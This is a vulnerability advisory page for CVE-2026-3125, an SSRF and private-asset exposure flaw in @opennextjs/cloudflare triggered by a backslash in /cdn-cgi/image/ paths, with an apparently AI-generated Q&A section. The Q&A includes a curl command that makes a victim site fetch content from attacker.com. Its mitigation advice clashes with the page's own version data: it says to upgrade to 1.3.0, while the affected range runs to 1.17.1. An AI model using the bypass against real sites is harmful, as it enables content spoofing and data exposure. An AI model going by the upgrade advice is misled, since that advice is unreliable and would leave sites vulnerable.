CVE-2026-3125
SSRF and Data Exposure via Path Normalization Bypass in @opennextjs/cloudflare
Publication date: 2026-03-04
Last updated on: 2026-03-09
Assigner: Cloudflare, Inc.
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| opennextjs | opennext_for_cloudflare | to 1.17.1 (exc) |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-918 | The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. |
| CWE-706 | The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
CVE-2026-3125 is a Server-Side Request Forgery (SSRF) vulnerability in the @opennextjs/cloudflare package caused by a path normalization bypass in the /cdn-cgi/image/ handler. The vulnerability arises because the worker template includes this handler for development only, and in production, Cloudflare's edge normally intercepts these requests. However, by replacing a forward slash with a backslash in the URL path (e.g., /cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass this interception and have the request reach the Worker directly.
The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs. This allows attacker-controlled content to be served through the victim site's domain, violating the same-origin policy and potentially misleading users or services.
Additionally, this bypass can expose private assets stored under /cdn-cgi/ paths, which are normally not publicly accessible, by making them accessible through the backslash bypass. This could lead to exposure of private data such as incremental cache data stored by Open Next projects.
How can this vulnerability impact me? :
This vulnerability can impact you by allowing attackers to serve arbitrary remote content through your domain, violating the same-origin policy. This can mislead users or services into trusting malicious content as if it originated from your site.
It also enables attackers to access private assets stored under normally protected paths by exploiting the backslash bypass, potentially exposing sensitive or private data.
Overall, the impacts include phishing risks, exposure of internal or private resources, and abuse of your domain to proxy malicious content.
How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:
I don't know
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by testing whether requests with backslashes in the path bypass Cloudflare's edge interception and reach the Worker directly. For example, sending a request to a URL like https://victim-site.com/cdn-cgi\image/ and observing if the Worker processes it can indicate the presence of the vulnerability.
Since browsers normalize backslashes to forward slashes, detection requires using HTTP clients that preserve backslashes in paths, such as curl with the --path-as-is option.
A sample command to test this behavior is:
- curl --path-as-is -v https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com
If the response includes content fetched from the attacker-controlled URL, it confirms the SSRF vulnerability via path normalization bypass.
What immediate steps should I take to mitigate this vulnerability?
Immediate mitigation steps include upgrading the @opennextjs/cloudflare package to version 1.3.0 or later, where the vulnerability has been fixed.
Additionally, use the remotePatterns filter in the Next.js configuration to allow-list external image URLs securely, preventing arbitrary remote URL loading.
Ensure that Cloudflare Workers and Cloudflare Pages are updated to restrict access to /cdn-cgi/ paths and prevent the backslash bypass.
If upgrading immediately is not possible, consider implementing server-side validation to reject requests containing backslashes in the path or normalize paths before processing.